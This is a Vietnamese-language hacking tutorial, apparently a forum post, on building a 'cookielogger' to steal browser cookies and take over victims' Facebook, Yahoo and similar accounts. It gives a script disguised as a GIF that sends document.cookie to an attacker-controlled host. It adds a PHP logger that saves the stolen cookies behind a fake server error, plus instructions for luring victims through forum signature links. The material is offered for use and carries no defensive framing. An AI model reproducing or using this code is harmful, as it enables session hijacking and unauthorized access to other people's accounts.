Tạo một Cookieloger lấy trộm Cookie

Cách này để cho mọi người đánh lừa một nạn nhân dễ tin nào đó.Nhằm lấy cookie để đăng nhập ngoài sự cho phép của họ.
(Cũng là 1 cách xem như là để hack facebook,yahoo, ...Huynhdegroup.net )


Đầu tiên mở notepad cho vào đoạn code sau rồi lưu với 1 tên bất kì.Giả sử là Hotgirl.gif

PHP Code:

<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</SCRIPT>  

Tiếp tục copy đoạn code sau cho vào notepad và lưu lại với tên cookielogger.php:

PHP Code:

     $filename = “logfile.txt”;
    if (isset($_GET["cookie"]))
    {
    if (!$handle = fopen($filename, ‘a’))
    {
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    }
    else
    {
    if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE)
    {
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    }
    }
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    fclose($handle);
    exit;
    }
    echo “Temporary Server Error,Sorry for the inconvenience.”;
    exit;
    ?>  

Tạo thêm 1 file là logfile.txt rồi vất cả 3 file lên host.Chmod lại file logfile.txt 777 để có quyền ghi lên nó.

PHP Code:

    cookielogger.php -> http://www.yoursite.com/cookielogger.php
    logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
   Hotgirl.giff -> http://www.yoursite.com/Hotgirl.gif  

Rồi đi tìm victim dụ thôi.Ví dụ như chèn đoạn code này vào chữ kí ở forum chẳng hạn.Ngồi chờ tên nào rãnh kích vào và thịt thôi

PHP Code:

<a href="www.yoursite.com/Hotgirl.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="www.yoursite.com/Hotgirl.gif" /></a>  

hoặc BBCODE

[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/ img][/ url]